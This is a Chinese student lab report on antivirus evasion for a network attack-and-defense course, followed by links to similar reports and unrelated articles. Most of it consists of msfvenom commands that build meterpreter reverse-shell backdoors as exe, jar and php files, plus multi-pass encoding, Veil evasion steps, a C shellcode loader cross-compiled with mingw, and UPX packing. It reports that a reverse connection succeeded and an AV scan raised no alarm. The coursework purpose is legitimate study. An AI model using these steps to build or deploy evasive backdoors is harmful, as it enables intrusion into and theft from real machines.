2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
一、实践目标
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
1.2 通过组合应用各种技术实现恶意代码免杀
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(因为Win10的自带实时监控杀毒墙,一运行文件就自动删除,所以没有做这个加分项)
二、基础知识
- 免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
三、Exp3.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
实验步骤:
- 正确使用msf编码器,生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.1 LPORT=5237 -f exe >fenix.exe

使用virscan进行扫描,结果如下所示:

使用msf编码器对后门程序编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.1 LPORT=5237 -f exe > met-encoded.exe
上传到virus total试试免杀操作是否有效

使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.137.1 lport=5237 x> 20165237_backdoor_java.jar

- 使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.153.135 lport=443 x> 20165237_backdoor.php

- 使用veil
use evasion
use 7
set Lhost 192.168.153.135
set Lport 5237

然后再输入后门程序的文件名:payload5237

用virscan看看查杀表现:

四、Exp3.2Linux平台交叉编译Windows应用
实验原理
- 执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.135 LPORT=5237 -f c

- 新建20165237.c文件,并且将下列代码输入:
unsigned char buf[] =
此处省略。
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:
i686-w64-mingw32-g++ 20165237.c -o 20165237.exe
编译这个.c文件为可执行文件;

检测结果:

然后把它挂上virus total测一下:

加压缩壳:
upx 20165237.exe -o 20165237plus.exe

使用杀软扫描桌面文件,没有报警

运行后门程序,反弹连接成功

(由于Win10自带的windows defendedr有强制实时监测,所以当点开恶意程序时直接被删除,导致无法回连。。想加分都加不了)
五、实验感想与问题
1、杀软是如何检测出恶意代码的?
答:基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。2、免杀是做什么?
答:让后门程序不被杀软检测出来3、免杀的基本方法有哪些?
答:msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion感想:
答:这次实验让我感受到其实杀毒软件只能杀很常规的病毒或者恶意程序,虽然病毒库在持续更新,但是总会有未被查出的恶意软件或者恶意代码进入到自己的计算机,有一天破坏电脑数据。所以以后一定要注意安全上网,不要访问非法网站或者点开非法连接,说不定点开就会导致恶意软件的启动,从而被盗取计算机中的信息!
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- 如何在本地测试Fabric Code
前一篇博客讲到了如何编译本地的Fabric Code成镜像文件,那么如果我们想改Fabric源代码,实现一些Fabric官方并没有提供的功能,该怎么办呢?这时我们除了改源码,增加需要的功能外,还需要能 ...
- openstack第二章:glance
第二篇glance— 镜像服务 一.glance介绍: Glance是Openstack项目中负责镜像管理的模块,其功能包括虚拟机镜像的查找.注册和检索等. Glance提供 ...
- python科学计算库numpy和绘图库PIL的结合,素描图片(原创)
# 导入绘图库 from PIL import Image #导入科学计算库 import numpy as np #封装一个图像处理工具类 class TestNumpy(object): def ...
- Java Selenium中的几种等待方式
Selenium自动化性能测试过程中,经常会出现取不到界面元素,主要原因是界面元素的加载与我们访问页面的时机不一致.可能是界面要素过多或者网络较慢,界面一直加载中:为了解决这种问题,selenium提 ...
- linux安装redis操作
redis官网地址:http://www.redis.io/ 最新版本:2.8.3 在Linux下安装Redis非常简单,具体步骤如下(官网有说明): 1.下载源码,解压缩后编译源码. $ wget ...
- Education CodeForces Round 63 Div.2
A. Reverse a Substring 代码: #include <bits/stdc++.h> using namespace std; int N; string s; int ...
- python 命令行参数——argparse模块的使用
以下内容主要来自:http://wiki.jikexueyuan.com/project/explore-python/Standard-Modules/argparse.html argparse ...
- 北京2018网络赛A题
题意:给你一个迷宫,迷宫有开始节点和结束节点,问你从开始走到结束的最小时间,其中,#代表这个点有毒气,身上必须带着氧气瓶才行,B代表每次进入这个点可以带一个氧气瓶,最多身上带五个,P代表进入这个点加速 ...
- python 学习二
什么是JSON,JSON 是一种轻量级的数据格式,其实就是字符串 把字符串转换为字典用 json.loads() import jsons = '{"aa":1,"bb& ...
- java文件运行的过程
javac .java——>编译成.class文件(字节码) 参考: https://www.cnblogs.com/yxwkf/p/3855363.html https://www.jians ...